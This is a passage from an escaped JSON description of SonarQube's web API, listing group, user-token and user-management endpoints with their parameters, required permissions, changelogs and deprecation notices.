\u0026#34;maximumValue\u0026#34;: 500 }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to names that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-users\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;update\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a group.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use PATCH /api/v2/authorizations/groups instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed in favor of \u0026#39;currentName\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; deprecated in favor of \u0026#39;currentName\u0026#39;\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.5\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; format changes from integer to string\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The default group is no longer editable\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;currentName\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Name of the group to be updated.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;8.5\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;AU-Tpxb--iU5OvuD2FLy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;description\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New optional description for the group. A group description cannot be larger than 200 characters. If value is not defined, then description is not changed.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Default group for new users\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New optional name for the group. A group name cannot be larger than 255 characters and must be unique. Value \u0026#39;anyone\u0026#39; (whatever the case) is reserved and cannot be used. If value is empty or not defined, then name is not changed.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;my-group\u0026#34;, \u0026#34;maximumLength\u0026#34;: 255 } ] }, { \u0026#34;key\u0026#34;: \u0026#34;users\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Search for users with membership information with respect to a group.\\u003Cbr\\u003ERequires the following permission: \u0026#39;Administer System\u0026#39;.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use GET /api/v2/authorizations/group-memberships instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Field \u0026#39;managed\u0026#39; added to the payload.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is removed. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;response fields \u0026#39;total\u0026#39;, \u0026#39;s\u0026#39;, \u0026#39;ps\u0026#39; have been deprecated, please use \u0026#39;paging\u0026#39; object instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The field \u0026#39;paging\u0026#39; has been added to the response.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.8\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Parameter \u0026#39;id\u0026#39; is deprecated. Format changes from integer to string. Use \u0026#39;name\u0026#39; instead.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Group name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;sonar-administrators\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;25\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to names or logins that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;freddy\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Depending on the value, show only selected items (selected=selected), deselected items (selected=deselected), or all items with their selection status (selected=all).\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;all\u0026#34;, \u0026#34;deselected\u0026#34;, \u0026#34;selected\u0026#34; ] } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/user_tokens\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.3\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List, create, and delete a user\u0026#39;s access tokens.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;generate\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Generate a user access token. \\u003Cbr /\\u003EPlease keep your tokens secret. They enable to authenticate and analyze projects.\\u003Cbr /\\u003EIt requires administration permissions to specify a \u0026#39;login\u0026#39; and generate a token for another user. Otherwise, a token is generated for the current user.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Response field \u0026#39;expirationDate\u0026#39; added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;expirationDate\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The expiration date of the token being generated, in ISO 8601 format (YYYY-MM-DD). If not set, default to no expiration.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.6\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login. If not set, the token is generated for the authenticated user.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;g.hopper\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Token name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Project scan on Travis\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;projectKey\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;The key of the only project that can be analyzed by the PROJECT_ANALYSIS_TOKEN being generated.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;type\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Token Type. If this parameters is set to PROJECT_ANALYSIS_TOKEN, it is necessary to provide the projectKey parameter too.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.5\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;USER_TOKEN\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;USER_TOKEN\u0026#34;, \u0026#34;GLOBAL_ANALYSIS_TOKEN\u0026#34;, \u0026#34;PROJECT_ANALYSIS_TOKEN\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;revoke\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Revoke a user access token. \\u003Cbr/\\u003EIt requires administration permissions to specify a \u0026#39;login\u0026#39; and revoke a token for another user. Otherwise, the token for the current user is revoked.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;g.hopper\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Token name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;Project scan on Travis\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List the access tokens of a user.\\u003Cbr\\u003EThe login must exist and active.\\u003Cbr\\u003EField \u0026#39;lastConnectionDate\u0026#39; is only updated every hour, so it may not be accurate, for instance when a user is using a token many times in less than one hour.\\u003Cbr\\u003E It requires administration permissions to specify a \u0026#39;login\u0026#39; and list the tokens of another user. Otherwise, tokens for the current user are listed. \\u003Cbr\\u003E Authentication is required for this API endpoint\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.3\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;New field \u0026#39;expirationDate\u0026#39; is added to response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.6\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New field \u0026#39;lastConnectionDate\u0026#39; is added to response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.7\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;g.hopper\u0026#34; } ] } ] }, { \u0026#34;path\u0026#34;: \u0026#34;api/users\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Manage users.\u0026#34;, \u0026#34;actions\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;anonymize\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Anonymize a deactivated user. Requires Administer System permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.7\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use DELETE api/v2/users-management/users/{id}?anonymize=true instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;myuser\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;change_password\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Update a user\u0026#39;s password. Authenticated users can change their own password, provided that the account is not linked to an external authentication system. Administer System permission is required to change another user\u0026#39;s password.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: false, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;It\u0026#39;s no more possible for the password to be the same as the previous one\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;8.6\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;myuser\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;password\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;New password\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;mypassword\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;previousPassword\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Previous password. Required when changing one\u0026#39;s own password.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;oldpassword\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;create\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Create a user.\\u003Cbr/\\u003EIf a deactivated user account exists with the given login, it will be reactivated.\\u003Cbr/\\u003ERequires Administer System permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.7\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use POST api/v2/users-management/users instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The password is only mandatory when creating local users, and should not be set on non local users\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;The \u0026#39;infos\u0026#39; message is no more returned when a user is reactivated\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.3\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;email\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User email\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;myname@email.com\u0026#34;, \u0026#34;maximumLength\u0026#34;: 100 }, { \u0026#34;key\u0026#34;: \u0026#34;local\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Specify if the user should be authenticated from SonarQube server or from an external authentication system. Password should not be set when local is set to false.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;6.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;true\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;myuser\u0026#34;, \u0026#34;maximumLength\u0026#34;: 255, \u0026#34;minimumLength\u0026#34;: 2 }, { \u0026#34;key\u0026#34;: \u0026#34;name\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User name\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;My Name\u0026#34;, \u0026#34;maximumLength\u0026#34;: 200 }, { \u0026#34;key\u0026#34;: \u0026#34;password\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User password. Only mandatory when creating local user, otherwise it should not be set\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;mypassword\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;scmAccount\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;List of SCM accounts. To set several values, the parameter must be called once for each value.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;scmAccount=firstValue\u0026amp;scmAccount=secondValue\u0026amp;scmAccount=thirdValue\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;deactivate\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Deactivate a user. Requires Administer System permission\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.7\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: true, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use DELETE api/v2/users-management/users/{id} instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;anonymize\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Anonymize user in addition to deactivating it\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.7\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;User login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;myuser\u0026#34; } ] }, { \u0026#34;key\u0026#34;: \u0026#34;groups\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Lists the groups a user belongs to. \\u003Cbr/\\u003ERequires Administer System permission.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;5.2\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use GET api/v2/authorizations/groups-memberships?userId={} instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Paging response fields moved to a Paging object\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;default\u0026#39; response field has been added\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;A user login\u0026#34;, \u0026#34;required\u0026#34;: true, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;admin\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;p\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;1-based page number\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;42\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;ps\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Page size. Must be greater than 0.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;25\u0026#34;, \u0026#34;exampleValue\u0026#34;: \u0026#34;20\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;q\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Limit search to group names that contain the supplied string.\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;users\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Depending on the value, show only selected items (selected=selected), deselected items (selected=deselected), or all items with their selection status (selected=all).\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;selected\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;all\u0026#34;, \u0026#34;deselected\u0026#34;, \u0026#34;selected\u0026#34; ] } ] }, { \u0026#34;key\u0026#34;: \u0026#34;search\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Get a list of users. By default, only active users are returned.\\u003Cbr/\\u003EThe following fields are only returned when user has Administer System permission or for logged-in in user :\\u003Cul\\u003E \\u003Cli\\u003E\u0026#39;email\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;externalIdentity\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;externalProvider\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;groups\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;lastConnectionDate\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;sonarLintLastConnectionDate\u0026#39;\\u003C/li\\u003E \\u003Cli\\u003E\u0026#39;tokensCount\u0026#39;\\u003C/li\\u003E\\u003C/ul\\u003EField \u0026#39;lastConnectionDate\u0026#39; is only updated every hour, so it may not be accurate, for instance when a user authenticates many times in less than one hour.\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;3.6\u0026#34;, \u0026#34;deprecatedSince\u0026#34;: \u0026#34;10.4\u0026#34;, \u0026#34;internal\u0026#34;: false, \u0026#34;post\u0026#34;: false, \u0026#34;hasResponseExample\u0026#34;: true, \u0026#34;changelog\u0026#34;: [ { \u0026#34;description\u0026#34;: \u0026#34;Deprecated. Use GET api/v2/users-management/users instead\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New optional parameters externalIdentity to find a user by its IdP login\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.3\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New optional parameters slLastConnectedAfter and slLastConnectedBefore to filter users by SonarLint last connection date. Only available with Administer System permission.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New optional parameters lastConnectedAfter and lastConnectedBefore to filter users by SonarQube last connection date. Only available with Administer System permission.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New field \u0026#39;sonarLintLastConnectionDate\u0026#39; is added to response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.1\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;\u0026#39;q\u0026#39; parameter values is now always performing a case insensitive match\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New parameter \u0026#39;managed\u0026#39; to optionally search by managed status\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Response includes \u0026#39;managed\u0026#39; field.\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;10.0\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New parameter \u0026#39;deactivated\u0026#39; to optionally search for deactivated users\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;9.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;New field \u0026#39;lastConnectionDate\u0026#39; is added to response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.7\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;External identity is only returned to system administrators\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;7.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Paging response fields moved to a Paging object\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Avatar has been added to the response\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; }, { \u0026#34;description\u0026#34;: \u0026#34;Email is only returned when user has Administer System permission\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;6.4\u0026#34; } ], \u0026#34;params\u0026#34;: [ { \u0026#34;key\u0026#34;: \u0026#34;deactivated\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Return deactivated users instead of active users\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;9.7\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;defaultValue\u0026#34;: \u0026#34;false\u0026#34;, \u0026#34;possibleValues\u0026#34;: [ \u0026#34;true\u0026#34;, \u0026#34;false\u0026#34;, \u0026#34;yes\u0026#34;, \u0026#34;no\u0026#34; ] }, { \u0026#34;key\u0026#34;: \u0026#34;externalIdentity\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Find a user by its external identity (ie. its login in the Identity Provider).\\nThis is case sensitive and only available with Administer System permission.\\n\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.3\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false }, { \u0026#34;key\u0026#34;: \u0026#34;lastConnectedAfter\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the users based on the last connection date field.\\nOnly users who interacted with this instance at or after the date will be returned.\\nThe format must be ISO 8601 datetime format (YYYY-MM-DDThh:mm:ss±hhmm)\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2020-01-01T00:00:00+0100\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;lastConnectedBefore\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Filter the users based on the last connection date field.\\nOnly users that never connected or who interacted with this instance at or before the date will be returned.\\nThe format must be ISO 8601 datetime format (YYYY-MM-DDThh:mm:ss±hhmm)\u0026#34;, \u0026#34;since\u0026#34;: \u0026#34;10.1\u0026#34;, \u0026#34;required\u0026#34;: false, \u0026#34;internal\u0026#34;: false, \u0026#34;exampleValue\u0026#34;: \u0026#34;2020-01-01T00:00:00+0100\u0026#34; }, { \u0026#34;key\u0026#34;: \u0026#34;managed\u0026#34;, \u0026#34;description\u0026#34;: \u0026#34;Return managed or non-managed users. Only available for managed instances, throws for non-managed instances.\u0026#34;, 